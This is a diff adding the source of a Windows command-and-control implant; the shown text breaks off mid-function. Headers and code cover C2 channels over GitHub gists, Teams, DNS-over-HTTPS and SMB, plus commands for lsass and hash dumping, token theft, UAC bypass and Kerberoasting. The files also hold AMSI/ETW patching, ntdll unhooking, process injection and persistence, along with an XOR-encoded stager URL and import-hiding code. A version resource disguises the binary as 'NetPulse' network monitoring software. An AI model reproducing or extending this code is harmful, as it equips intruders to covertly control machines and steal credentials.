#include <stddef.h>
|
||||
|
||||
int cmd_bof(const char *coff_b64, const char *args_b64,
|
||||
char *output_buf, size_t output_sz);
|
||||
|
||||
#endif /* BOF_H */
|
||||
@@ -0,0 +1,54 @@
|
||||
#ifndef CHANNELS_H
|
||||
#define CHANNELS_H
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
#define CHANNEL_OK 0
|
||||
#define CHANNEL_ERR -1
|
||||
#define CHANNEL_RETRY -2
|
||||
|
||||
typedef struct {
|
||||
char github_token[256];
|
||||
char gist_cmd_id[64];
|
||||
char gist_out_id[64];
|
||||
|
||||
char teams_tenant_id[64];
|
||||
char teams_client_id[64];
|
||||
char teams_client_secret[256];
|
||||
char teams_webhook_url[512];
|
||||
char teams_team_id[64];
|
||||
char teams_channel_id[64];
|
||||
|
||||
char doh_server[256];
|
||||
char doh_domain[128];
|
||||
|
||||
char beacon_url[512];
|
||||
char http_useragent[512];
|
||||
char http_extra_headers[1024];
|
||||
char http_cert_pin[65];
|
||||
|
||||
char smb_host[256];
|
||||
char smb_pipe[128];
|
||||
} channel_config_t;
|
||||
|
||||
void channel_config_init(channel_config_t *cfg);
|
||||
|
||||
int github_send(const channel_config_t *cfg, const char *agent_id, const char *b64);
|
||||
char *github_recv(const channel_config_t *cfg, const char *agent_id);
|
||||
|
||||
int teams_send(const channel_config_t *cfg, const char *agent_id, const char *b64);
|
||||
char *teams_recv(const channel_config_t *cfg, const char *agent_id);
|
||||
|
||||
int doh_send(const channel_config_t *cfg, const char *agent_id, const char *b64);
|
||||
char *doh_recv(const channel_config_t *cfg, const char *agent_id);
|
||||
|
||||
int http_send(const channel_config_t *cfg, const char *agent_id, const char *b64);
|
||||
char *http_recv(void);
|
||||
|
||||
int smb_send(const channel_config_t *cfg, const char *agent_id, const char *b64);
|
||||
char *smb_recv(void);
|
||||
|
||||
int channel_send(const channel_config_t *cfg, const char *agent_id, const char *b64);
|
||||
char *channel_recv(const channel_config_t *cfg, const char *agent_id);
|
||||
|
||||
#endif /* CHANNELS_H */
|
||||
@@ -0,0 +1,70 @@
|
||||
#ifndef COMMANDS_H
|
||||
#define COMMANDS_H
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
int cmd_shell(const char *cmdline, char *output_buf, size_t output_size);
|
||||
|
||||
int cmd_upload(const char *local_path, const char *data_b64,
|
||||
char *output_buf, size_t output_size);
|
||||
|
||||
int cmd_download(const char *local_path, char *output_buf, size_t output_size);
|
||||
|
||||
int cmd_sysinfo(char *output_buf, size_t output_size);
|
||||
|
||||
int cmd_ps(char *output_buf, size_t output_size);
|
||||
int cmd_getpid(const char *name, char *output_buf, size_t output_size);
|
||||
|
||||
int cmd_spawn(const char *exe_path, const char *fake_cmdline,
|
||||
const char *real_cmdline,
|
||||
char *output_buf, size_t output_size);
|
||||
|
||||
int cmd_getuid(char *output_buf, size_t output_size);
|
||||
int cmd_steal_token(unsigned long pid, char *output_buf, size_t output_size);
|
||||
int cmd_rev2self(char *output_buf, size_t output_size);
|
||||
int cmd_make_token(const char *domain_user, const char *password,
|
||||
char *output_buf, size_t output_size);
|
||||
|
||||
int cmd_privs(const char *action, const char *priv_name,
|
||||
char *output_buf, size_t output_size);
|
||||
|
||||
int cmd_screenshot(char *output_buf, size_t output_size);
|
||||
|
||||
int cmd_execasm(const unsigned char *asm_bytes, size_t asm_len,
|
||||
const char *args_str,
|
||||
char *output_buf, size_t output_size);
|
||||
|
||||
int cmd_lsassdump(const char *out_path, char *output_buf, size_t output_size);
|
||||
|
||||
int cmd_hashdump(const char *dir, char *output_buf, size_t output_size);
|
||||
|
||||
int cmd_portscan(const char *host, unsigned short start, unsigned short end,
|
||||
int timeout_ms, char *output_buf, size_t output_size);
|
||||
|
||||
int cmd_ls(const char *path, char *output_buf, size_t output_size);
|
||||
int cmd_mkdir(const char *path, char *output_buf, size_t output_size);
|
||||
int cmd_rm(const char *path, char *output_buf, size_t output_size);
|
||||
int cmd_cp(const char *src, const char *dst, char *output_buf, size_t output_size);
|
||||
int cmd_mv(const char *src, const char *dst, char *output_buf, size_t output_size);
|
||||
|
||||
int cmd_wmiexec(const char *host, const char *cmdline,
|
||||
char *output_buf, size_t output_size);
|
||||
|
||||
int cmd_kerberoast(const char *args, char *output_buf, size_t output_size);
|
||||
int cmd_asreproast(const char *args, char *output_buf, size_t output_size);
|
||||
|
||||
int cmd_uacbypass(const char *args, char *output_buf, size_t output_size);
|
||||
int cmd_privesc(char *output_buf, size_t output_size);
|
||||
|
||||
int cmd_getsystem(const char *args, char *output_buf, size_t output_size);
|
||||
int cmd_lpe_check(const char *args, char *output_buf, size_t output_size);
|
||||
|
||||
int cmd_reg_query(const char *keypath, const char *valname,
|
||||
char *output_buf, size_t output_size);
|
||||
int cmd_reg_set(const char *keypath, const char *valname,
|
||||
const char *type_str, const char *value,
|
||||
char *output_buf, size_t output_size);
|
||||
int cmd_reg_delete(const char *keypath, const char *valname,
|
||||
char *output_buf, size_t output_size);
|
||||
|
||||
#endif /* COMMANDS_H */
|
||||
@@ -0,0 +1,56 @@
|
||||
#ifndef CRYPTO_H
|
||||
#define CRYPTO_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#define CHACHA20_KEY_SIZE 32
|
||||
#define CHACHA20_NONCE_SIZE 12
|
||||
#define POLY1305_TAG_SIZE 16
|
||||
#define X25519_KEY_SIZE 32
|
||||
#define CRYPTO_OVERHEAD (CHACHA20_NONCE_SIZE + POLY1305_TAG_SIZE)
|
||||
|
||||
typedef struct {
|
||||
uint8_t session_key[CHACHA20_KEY_SIZE];
|
||||
uint8_t key_mask[CHACHA20_KEY_SIZE];
|
||||
uint8_t agent_privkey[X25519_KEY_SIZE];
|
||||
uint8_t agent_pubkey[X25519_KEY_SIZE];
|
||||
int key_established;
|
||||
} crypto_ctx_t;
|
||||
|
||||
int crypto_init(crypto_ctx_t *ctx);
|
||||
void crypto_free(crypto_ctx_t *ctx);
|
||||
|
||||
int chacha20_poly1305_encrypt(const uint8_t *key, const uint8_t *nonce,
|
||||
const uint8_t *pt, size_t pt_len,
|
||||
uint8_t *ct, uint8_t *tag);
|
||||
|
||||
int chacha20_poly1305_decrypt(const uint8_t *key, const uint8_t *nonce,
|
||||
const uint8_t *ct, size_t ct_len,
|
||||
const uint8_t *tag, uint8_t *pt);
|
||||
|
||||
int crypto_gen_keypair(uint8_t *pubkey, uint8_t *privkey);
|
||||
int crypto_ecdh(const uint8_t *privkey, const uint8_t *peer_pubkey,
|
||||
uint8_t *shared_secret);
|
||||
|
||||
int crypto_hkdf(const uint8_t *ikm, size_t ikm_len,
|
||||
const uint8_t *salt, size_t salt_len,
|
||||
const uint8_t *info, size_t info_len,
|
||||
uint8_t *okm, size_t okm_len);
|
||||
|
||||
/* ctx->agent_privkey/pubkey must be set first via crypto_gen_keypair() */
|
||||
int crypto_do_handshake(crypto_ctx_t *ctx, const uint8_t *server_pubkey);
|
||||
|
||||
int crypto_rand_bytes(uint8_t *buf, size_t len);
|
||||
|
||||
/* Wire format: nonce(12) | ciphertext(n) | tag(16) — caller free()s result */
|
||||
uint8_t *crypto_seal(crypto_ctx_t *ctx,
|
||||
const uint8_t *pt, size_t pt_len, size_t *out_len);
|
||||
uint8_t *crypto_open(crypto_ctx_t *ctx,
|
||||
const uint8_t *blob, size_t blob_len, size_t *out_len);
|
||||
|
||||
/* Base64 — caller free()s result */
|
||||
char *base64_encode(const uint8_t *data, size_t len);
|
||||
uint8_t *base64_decode(const char *str, size_t *out_len);
|
||||
|
||||
#endif /* CRYPTO_H */
|
||||
@@ -0,0 +1,10 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
void evasion_unhook_ntdll(void);
|
||||
void evasion_patch_etw(void);
|
||||
void evasion_patch_amsi(void);
|
||||
void evasion_patch_etw_ti(void);
|
||||
void evasion_stomp_header(void);
|
||||
BOOL evasion_apply_thread(HANDLE hThread);
|
||||
void beacon_sleep_obf(DWORD ms);
|
||||
@@ -0,0 +1,10 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
DWORD inject_find_target(void);
|
||||
HANDLE inject_nt_open_process(DWORD pid, DWORD access);
|
||||
int inject_remote(DWORD pid, const BYTE *sc, SIZE_T sc_len);
|
||||
int inject_thread_hijack(DWORD pid, const BYTE *sc, SIZE_T sc_len);
|
||||
int inject_earlybird(const BYTE *sc, SIZE_T sc_len);
|
||||
int inject_self(const BYTE *sc, SIZE_T sc_len);
|
||||
int inject_stomp(DWORD pid, const BYTE *sc, SIZE_T sc_len, const char *dll_path);
|
||||
@@ -0,0 +1,86 @@
|
||||
#ifndef PEB_WALK_H
|
||||
#define PEB_WALK_H
|
||||
|
||||
#include <windows.h>
|
||||
#include <string.h>
|
||||
|
||||
/*
|
||||
* _peb_module(name_lower) — get module base via PEB InMemoryOrderModuleList.
|
||||
* No imports: no GetModuleHandleA in IAT when used exclusively.
|
||||
* name_lower must be lowercase (e.g. "kernel32.dll").
|
||||
*
|
||||
* Inline LDR_DATA_TABLE_ENTRY (x64 offsets — no winternl.h dependency):
|
||||
* +0x00 InLoadOrderLinks (LIST_ENTRY, 16 B)
|
||||
* +0x10 InMemoryOrderLinks (LIST_ENTRY, 16 B) ← list head flinks here
|
||||
* +0x20 InInitOrderLinks (LIST_ENTRY, 16 B)
|
||||
* +0x30 DllBase (PVOID, 8 B)
|
||||
* +0x38 EntryPoint (PVOID, 8 B)
|
||||
* +0x40 SizeOfImage (ULONG, 4 B)
|
||||
* +0x44 _pad1 (ULONG, 4 B)
|
||||
* +0x48 FullDllName.Length (USHORT, 2 B)
|
||||
* +0x4A FullDllName.MaxLength (USHORT, 2 B)
|
||||
* +0x4C _pad2 (USHORT[2], 4 B)
|
||||
* +0x50 FullDllName.Buffer (WCHAR*, 8 B)
|
||||
* +0x58 BaseDllName.Length (USHORT, 2 B)
|
||||
* +0x5A BaseDllName.MaxLength (USHORT, 2 B)
|
||||
* +0x5C _pad3 (USHORT[2], 4 B)
|
||||
* +0x60 BaseDllName.Buffer (WCHAR*, 8 B)
|
||||
*/
|
||||
static inline HMODULE _peb_module(const char *name_lower)
|
||||
{
|
||||
#ifdef _WIN64
|
||||
typedef struct {
|
||||
LIST_ENTRY _load;
|
||||
LIST_ENTRY _mem;
|
||||
LIST_ENTRY _init;
|
||||
void *DllBase;
|
||||
void *EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
ULONG _pad1;
|
||||
USHORT FullLen;
|
||||
USHORT FullMaxLen;
|
||||
USHORT _pad2[2];
|
||||
WCHAR *FullBuf;
|
||||
USHORT BaseLen;
|
||||
USHORT BaseMaxLen;
|
||||
USHORT _pad3[2];
|
||||
WCHAR *BaseBuf;
|
||||
} _ldr_e;
|
||||
|
||||
BYTE *peb = (BYTE *)__readgsqword(0x60);
|
||||
BYTE *ldr = *(BYTE **)(peb + 0x18);
|
||||
LIST_ENTRY *head = (LIST_ENTRY *)(ldr + 0x20); /* InMemoryOrderModuleList */
|
||||
for (LIST_ENTRY *e = head->Flink; e != head; e = e->Flink) {
|
||||
/* e points to _mem (+0x10 from struct base) */
|
||||
_ldr_e *en = (_ldr_e *)((BYTE *)e - 0x10);
|
||||
if (!en->BaseBuf || en->BaseLen == 0) continue;
|
||||
char tmp[64]; int n = en->BaseLen / 2;
|
||||
if (n >= 64) continue;
|
||||
for (int i = 0; i < n; i++) {
|
||||
WCHAR c = en->BaseBuf[i];
|
||||
tmp[i] = (char)((c >= L'A' && c <= L'Z') ? c + 32 : c);
|
||||
}
|
||||
tmp[n] = '\0';
|
||||
if (strcmp(tmp, name_lower) == 0) return (HMODULE)en->DllBase;
|
||||
}
|
||||
#else
|
||||
(void)name_lower;
|
||||
#endif
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*
|
||||
* _peb_self_base() — own image base via PEB.ImageBaseAddress (offset 0x10 x64).
|
||||
* Replaces GetModuleHandleA(NULL) — removes it from IAT.
|
||||
*/
|
||||
static inline void *_peb_self_base(void)
|
||||
{
|
||||
#ifdef _WIN64
|
||||
BYTE *peb = (BYTE *)__readgsqword(0x60);
|
||||
return *(void **)(peb + 0x10);
|
||||
#else
|
||||
return NULL;
|
||||
#endif
|
||||
}
|
||||
|
||||
#endif /* PEB_WALK_H */
|
||||
@@ -0,0 +1,11 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
typedef enum {
|
||||
PERSIST_REGISTRY = 0,
|
||||
PERSIST_SCHTASK = 1,
|
||||
} persist_method_t;
|
||||
|
||||
int persist_install(persist_method_t method);
|
||||
int persist_remove(persist_method_t method);
|
||||
int persist_auto(void);
|
||||
@@ -0,0 +1,15 @@
|
||||
#ifndef SOCKS_H
|
||||
#define SOCKS_H
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
int socks_start(unsigned short port, char *output_buf, size_t output_sz);
|
||||
int socks_stop(char *output_buf, size_t output_sz);
|
||||
int socks_running(void);
|
||||
|
||||
int rportfwd_start(unsigned short lport, const char *rhost, unsigned short rport,
|
||||
char *out, size_t outsz);
|
||||
int rportfwd_stop(unsigned short lport, char *out, size_t outsz);
|
||||
int rportfwd_list(char *out, size_t outsz);
|
||||
|
||||
#endif /* SOCKS_H */
|
||||
@@ -0,0 +1,17 @@
|
||||
/* AUTO-GENERATED by tools/gen_stager_config.py � do not edit manually. */
|
||||
#ifndef STAGER_CONFIG_H
|
||||
#define STAGER_CONFIG_H
|
||||
|
||||
#ifndef CFG_XOR_KEY_LEN
|
||||
#define CFG_XOR_KEY_LEN 16
|
||||
static const unsigned char CFG_XOR_KEY[16] = { 0x7a, 0x3f, 0x91, 0xc4, 0x52, 0x88, 0xb1, 0xde, 0xad, 0xbe, 0xef, 0x13, 0x37, 0xca, 0xfe, 0x42 };
|
||||
#endif
|
||||
|
||||
/* STAGE_URL � XOR-encoded (96 bytes) */
|
||||
|
||||
static const unsigned char CFG_STAGE_URL[] = {0x12, 0x4b, 0xe5, 0xb4, 0x68, 0xa7, 0x9e, 0xef, 0x9f, 0x89, 0xc1, 0x23, 0x19, 0xfa, 0xd0, 0x73, 0x40, 0x07, 0xa1, 0xf4, 0x62, 0xa7, 0xd0, 0xae, 0xc4, 0x91, 0x9c, 0x67, 0x56, 0xad, 0x9b, 0x6d, 0x18, 0x5c, 0xf5, 0xf4, 0x64, 0xe9, 0x82, 0xea, 0x98, 0x89, 0x8c, 0x21, 0x03, 0xfa, 0xcc, 0x72, 0x4b, 0x06, 0xa4, 0xf4, 0x66, 0xb9, 0x83, 0xec, 0xc8, 0x89, 0xd8, 0x76, 0x06, 0xf9, 0xcd, 0x26, 0x18, 0x0b, 0xa1, 0xa1, 0x6b, 0xea, 0x88, 0xba, 0x95, 0x8b, 0xda, 0x75, 0x0e, 0xf9, 0xcd, 0x7b, 0x19, 0x5a, 0xf0, 0xf0, 0x66, 0xbb, 0xd0, 0xea, 0x94, 0x8c, 0xd6, 0x24, 0x52, 0xac, 0xc6, 0x76, 0x00};
|
||||
#define CFG_STAGE_URL_LEN 96
|
||||
|
||||
/* STAGE_KEY � ChaCha20 key, XOR-encoded (32 bytes) */
|
||||
static const unsigned char CFG_STAGE_KEY[32] = {0x50, 0x7e, 0xe8, 0x62, 0x2f, 0x68, 0x44, 0xf9, 0x0b, 0xc0, 0xd9, 0xc2, 0xd5, 0x25, 0xb9, 0x32, 0x58, 0x6c, 0x9a, 0x9a, 0x62, 0xc5, 0xf3, 0x16, 0xab, 0xbb, 0x1a, 0x2c, 0x53, 0x9b, 0x99, 0xff};
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
#ifndef UTIL_H
|
||||
#define UTIL_H
|
||||
|
||||
const char *random_ua(void);
|
||||
|
||||
#ifndef HTTP_ONLY
|
||||
#include <curl/curl.h>
|
||||
void curl_apply_opsec(CURL *curl);
|
||||
#endif /* HTTP_ONLY */
|
||||
|
||||
#endif /* UTIL_H */
|
||||
@@ -0,0 +1,38 @@
|
||||
$AgentDir = $PSScriptRoot
|
||||
$Make = "C:\msys64\usr\bin\make.exe"
|
||||
|
||||
Set-Location $AgentDir
|
||||
|
||||
# Kill agent if running, wait for OS to release file lock
|
||||
Stop-Process -Name "agent" -Force -ErrorAction SilentlyContinue
|
||||
Start-Sleep -Milliseconds 800
|
||||
|
||||
# Step 1: regen obfuscation config + fresh EVS_KEY (polymorphisme par build)
|
||||
Write-Host "[*] Generation config (EVS_KEY aleatoire)..." -ForegroundColor Cyan
|
||||
$cfg_out = & $Make config 2>&1
|
||||
$cfg_err = $cfg_out | Select-String -Pattern "error:" | Where-Object { $_ -notmatch "0 error" }
|
||||
if ($cfg_err) {
|
||||
Write-Host "[!] Erreur config :" -ForegroundColor Red
|
||||
$cfg_err | ForEach-Object { Write-Host " $_" -ForegroundColor Red }
|
||||
exit 1
|
||||
}
|
||||
$cfg_out | Select-String "\[ok\]|EVS_KEY" | ForEach-Object { Write-Host " $_" -ForegroundColor DarkCyan }
|
||||
|
||||
# Step 2: compile
|
||||
Write-Host "[*] Compilation..." -ForegroundColor Cyan
|
||||
$output = & $Make lean 2>&1
|
||||
$errors = $output | Select-String -Pattern "error:" | Where-Object { $_ -notmatch "0 error" }
|
||||
|
||||
if ($errors) {
|
||||
Write-Host "[!] Erreurs de compilation :" -ForegroundColor Red
|
||||
$errors | ForEach-Object { Write-Host " $_" -ForegroundColor Red }
|
||||
exit 1
|
||||
}
|
||||
|
||||
$ok = $output | Select-String -Pattern "\[ok\]"
|
||||
if ($ok) {
|
||||
Write-Host "[+] $ok" -ForegroundColor Green
|
||||
} else {
|
||||
Write-Host "[?] Compilation terminee (verifier manuellement)" -ForegroundColor Yellow
|
||||
$output | Select-String -Pattern "warning:|error:" | ForEach-Object { Write-Host " $_" }
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
|
||||
<assemblyIdentity
|
||||
version="2.3.0.1"
|
||||
processorArchitecture="amd64"
|
||||
name="Celerix.NetPulse.Monitor"
|
||||
type="win32"/>
|
||||
<description>Network Performance Monitor</description>
|
||||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<security>
|
||||
<requestedPrivileges>
|
||||
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
|
||||
</requestedPrivileges>
|
||||
</security>
|
||||
</trustInfo>
|
||||
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
|
||||
<application>
|
||||
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
|
||||
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
|
||||
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
|
||||
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
|
||||
</application>
|
||||
</compatibility>
|
||||
<application xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<windowsSettings>
|
||||
<dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2</dpiAwareness>
|
||||
<longPathAware xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">true</longPathAware>
|
||||
</windowsSettings>
|
||||
</application>
|
||||
</assembly>
|
||||
@@ -0,0 +1,32 @@
|
||||
#include <windows.h>
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 2,3,0,1
|
||||
PRODUCTVERSION 2,3,0,1
|
||||
FILEFLAGSMASK VS_FFI_FILEFLAGSMASK
|
||||
FILEFLAGS 0x0L
|
||||
FILEOS VOS_NT_WINDOWS32
|
||||
FILETYPE VFT_APP
|
||||
FILESUBTYPE VFT2_UNKNOWN
|
||||
BEGIN
|
||||
BLOCK "StringFileInfo"
|
||||
BEGIN
|
||||
BLOCK "040904B0"
|
||||
BEGIN
|
||||
VALUE "CompanyName", "Celerix Technologies Inc."
|
||||
VALUE "FileDescription", "Network Performance Monitor"
|
||||
VALUE "FileVersion", "2.3.0.1"
|
||||
VALUE "InternalName", "netpulse"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2025 Celerix Technologies Inc. All rights reserved."
|
||||
VALUE "OriginalFilename", "NetPulse.exe"
|
||||
VALUE "ProductName", "NetPulse Suite"
|
||||
VALUE "ProductVersion", "2.3"
|
||||
END
|
||||
END
|
||||
BLOCK "VarFileInfo"
|
||||
BEGIN
|
||||
VALUE "Translation", 0x0409, 0x04B0
|
||||
END
|
||||
END
|
||||
|
||||
1 RT_MANIFEST "agent.manifest"
|
||||
@@ -0,0 +1,51 @@
|
||||
#include "adv_lazy.h"
|
||||
#include "evs_strings.h"
|
||||
#include <string.h>
|
||||
|
||||
static adv_api_t _adv;
|
||||
static int _adv_ok = 0;
|
||||
|
||||
static void _xdec(const unsigned char *enc, size_t n, char *out) {
|
||||
volatile unsigned char k = EVS_KEY;
|
||||
for (size_t i = 0; i < n; i++) out[i] = (char)(enc[i] ^ k);
|
||||
out[n] = '\0';
|
||||
}
|
||||
|
||||
const adv_api_t *adv_get(void)
|
||||
{
|
||||
if (_adv_ok) return &_adv;
|
||||
|
||||
char dll[16], fn[40];
|
||||
_xdec(EVS_dll_advapi32, sizeof(EVS_dll_advapi32), dll);
|
||||
HMODULE h = LoadLibraryA(dll);
|
||||
SecureZeroMemory(dll, sizeof(dll));
|
||||
if (!h) return &_adv;
|
||||
|
||||
struct { const unsigned char *enc; size_t n; void **p; } t[] = {
|
||||
{ EVS_fn_AdjustTokenPrivileges, sizeof(EVS_fn_AdjustTokenPrivileges), (void **)&_adv.AdjustTokenPrivileges },
|
||||
{ EVS_fn_DuplicateTokenEx, sizeof(EVS_fn_DuplicateTokenEx), (void **)&_adv.DuplicateTokenEx },
|
||||
{ EVS_fn_ImpersonateLoggedOnUser, sizeof(EVS_fn_ImpersonateLoggedOnUser), (void **)&_adv.ImpersonateLoggedOnUser },
|
||||
{ EVS_fn_LogonUserA, sizeof(EVS_fn_LogonUserA), (void **)&_adv.LogonUserA },
|
||||
{ EVS_fn_LookupPrivilegeNameA, sizeof(EVS_fn_LookupPrivilegeNameA), (void **)&_adv.LookupPrivilegeNameA },
|
||||
{ EVS_fn_LookupPrivilegeValueA, sizeof(EVS_fn_LookupPrivilegeValueA), (void **)&_adv.LookupPrivilegeValueA },
|
||||
{ EVS_fn_OpenProcessToken, sizeof(EVS_fn_OpenProcessToken), (void **)&_adv.OpenProcessToken },
|
||||
{ EVS_fn_OpenThreadToken, sizeof(EVS_fn_OpenThreadToken), (void **)&_adv.OpenThreadToken },
|
||||
{ EVS_fn_RevertToSelf, sizeof(EVS_fn_RevertToSelf), (void **)&_adv.RevertToSelf },
|
||||
{ EVS_fn_CloseServiceHandle, sizeof(EVS_fn_CloseServiceHandle), (void **)&_adv.CloseServiceHandle },
|
||||
{ EVS_fn_EnumServicesStatusExA, sizeof(EVS_fn_EnumServicesStatusExA), (void **)&_adv.EnumServicesStatusExA },
|
||||
{ EVS_fn_OpenSCManagerA, sizeof(EVS_fn_OpenSCManagerA), (void **)&_adv.OpenSCManagerA },
|
||||
{ EVS_fn_OpenServiceA, sizeof(EVS_fn_OpenServiceA), (void **)&_adv.OpenServiceA },
|
||||
{ EVS_fn_QueryServiceConfigA, sizeof(EVS_fn_QueryServiceConfigA), (void **)&_adv.QueryServiceConfigA },
|
||||
{ EVS_fn_RegisterServiceCtrlHandlerA,sizeof(EVS_fn_RegisterServiceCtrlHandlerA),(void **)&_adv.RegisterServiceCtrlHandlerA},
|
||||
{ EVS_fn_SetServiceStatus, sizeof(EVS_fn_SetServiceStatus), (void **)&_adv.SetServiceStatus },
|
||||
{ EVS_fn_StartServiceCtrlDispatcherA,sizeof(EVS_fn_StartServiceCtrlDispatcherA),(void **)&_adv.StartServiceCtrlDispatcherA},
|
||||
};
|
||||
for (int i = 0; i < 17; i++) {
|
||||
_xdec(t[i].enc, t[i].n, fn);
|
||||
*t[i].p = (void *)GetProcAddress(h, fn);
|
||||
SecureZeroMemory(fn, t[i].n + 1);
|
||||
}
|
||||
|
||||
_adv_ok = 1;
|
||||
return &_adv;
|
||||
}
|
||||
@@ -0,0 +1,620 @@
|
||||
#include "beacon.h"
|
||||
#include "agent_config.h"
|
||||
#include "evs_strings.h"
|
||||
#include "peb_walk.h"
|
||||
#include "crypto.h"
|
||||
#include "evasion.h"
|
||||
#include "adv_lazy.h"
|
||||
#include <windows.h>
|
||||
#include <bcrypt.h>
|
||||
#include <lm.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
|
||||
/* Decode one XOR-obfuscated config string from agent_config.h */
|
||||
static void _cfg_decode(const unsigned char *src, size_t len, char *dst)
|
||||
{
|
||||
for (size_t i = 0; i < len; i++)
|
||||
dst[i] = (char)(src[i] ^ CFG_XOR_KEY[i % CFG_XOR_KEY_LEN]);
|
||||
dst[len] = '\0';
|
||||
}
|
||||
|
||||
/* GetComputerNameA — removes from IAT */
|
||||
typedef BOOL (WINAPI *_GCN_t)(LPSTR, LPDWORD);
|
||||
static BOOL _gcna(LPSTR buf, LPDWORD sz) {
|
||||
static _GCN_t fn = NULL;
|
||||
if (!fn) {
|
||||
char fs[20], ks[14]; volatile unsigned char xk = EVS_KEY;
|
||||
for (int i = 0; i < (int)sizeof(EVS_fn_GetComputerNameA); i++) fs[i] = (char)(EVS_fn_GetComputerNameA[i] ^ xk);
|
||||
fs[sizeof(EVS_fn_GetComputerNameA)] = '\0';
|
||||
for (int i = 0; i < (int)sizeof(EVS_dll_kernel32); i++) ks[i] = (char)(EVS_dll_kernel32[i] ^ xk);
|
||||
ks[sizeof(EVS_dll_kernel32)] = '\0';
|
||||
HMODULE m = _peb_module(ks); SecureZeroMemory(ks, sizeof(ks));
|
||||
if (m) fn = (_GCN_t)(void *)GetProcAddress(m, fs);
|
||||
SecureZeroMemory(fs, sizeof(fs));
|
||||
}
|
||||
return fn ? fn(buf, sz) : FALSE;
|
||||
}
|
||||
|
||||
/* machine fingerprinting */
|
||||
|
||||
void agent_get_hostname(char *buf, size_t len)
|
||||
{
|
||||
DWORD sz = (DWORD)len;
|
||||
if (!_gcna(buf, &sz))
|
||||
strncpy(buf, "unknown", len - 1);
|
||||
buf[len - 1] = '\0';
|
||||
}
|
||||
|
||||
void agent_get_username(char *buf, size_t len)
|
||||
{
|
||||
DWORD sz = (DWORD)len;
|
||||
if (!GetUserNameA(buf, &sz))
|
||||
strncpy(buf, "unknown", len - 1);
|
||||
buf[len - 1] = '\0';
|
||||
}
|
||||
|
||||
/* GetNativeSystemInfo — removes from IAT */
|
||||
typedef void (WINAPI *_GNS_t)(LPSYSTEM_INFO);
|
||||
static void _gns(LPSYSTEM_INFO si) {
|
||||
static _GNS_t fn = NULL;
|
||||
if (!fn) {
|
||||
char fs[22], ks[14]; volatile unsigned char xk = EVS_KEY;
|
||||
for (int i = 0; i < (int)sizeof(EVS_fn_GetNativeSystemInfo); i++) fs[i] = (char)(EVS_fn_GetNativeSystemInfo[i] ^ xk);
|
||||
fs[sizeof(EVS_fn_GetNativeSystemInfo)] = '\0';
|
||||
for (int i = 0; i < (int)sizeof(EVS_dll_kernel32); i++) ks[i] = (char)(EVS_dll_kernel32[i] ^ xk);
|
||||
ks[sizeof(EVS_dll_kernel32)] = '\0';
|
||||
HMODULE m = _peb_module(ks); SecureZeroMemory(ks, sizeof(ks));
|
||||
if (m) fn = (_GNS_t)(void *)GetProcAddress(m, fs);
|
||||
SecureZeroMemory(fs, sizeof(fs));
|
||||
}
|
||||
if (fn) fn(si);
|
||||
else GetSystemInfo(si);
|
||||
}
|
||||
|
||||
void agent_get_os(char *buf, size_t len)
|
||||
{
|
||||
OSVERSIONINFOEXW osvi;
|
||||
memset(&osvi, 0, sizeof(osvi));
|
||||
osvi.dwOSVersionInfoSize = sizeof(osvi);
|
||||
typedef NTSTATUS(WINAPI * RtlGetVersion_t)(PRTL_OSVERSIONINFOW);
|
||||
char _dn[10], _fn[15];
|
||||
EVS_D(_dn, EVS_dll_ntdll); EVS_D(_fn, EVS_fn_RtlGetVersion);
|
||||
HMODULE ntdll = _peb_module(_dn); SecureZeroMemory(_dn, sizeof(_dn));
|
||||
RtlGetVersion_t fn = (RtlGetVersion_t)(void *)GetProcAddress(ntdll, _fn);
|
||||
SecureZeroMemory(_fn, sizeof(_fn));
|
||||
if (fn && fn((PRTL_OSVERSIONINFOW)&osvi) == 0)
|
||||
{
|
||||
int is64 = 0;
|
||||
SYSTEM_INFO si;
|
||||
_gns(&si);
|
||||
is64 = (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64);
|
||||
snprintf(buf, len, "Windows %lu.%lu Build %lu %s",
|
||||
osvi.dwMajorVersion, osvi.dwMinorVersion,
|
||||
osvi.dwBuildNumber, is64 ? "x64" : "x86");
|
||||
}
|
||||
else
|
||||
{
|
||||
strncpy(buf, "Windows (unknown)", len - 1);
|
||||
buf[len - 1] = '\0';
|
||||
}
|
||||
}
|
||||
|
||||
void agent_get_privileges(char *buf, size_t len)
|
||||
{
|
||||
HANDLE token;
|
||||
if (!adv_get()->OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token))
|
||||
{
|
||||
strncpy(buf, "user", len - 1);
|
||||
buf[len - 1] = '\0';
|
||||
return;
|
||||
}
|
||||
TOKEN_ELEVATION elev;
|
||||
DWORD ret_len = 0;
|
||||
if (GetTokenInformation(token, TokenElevation, &elev, sizeof(elev), &ret_len) && elev.TokenIsElevated)
|
||||
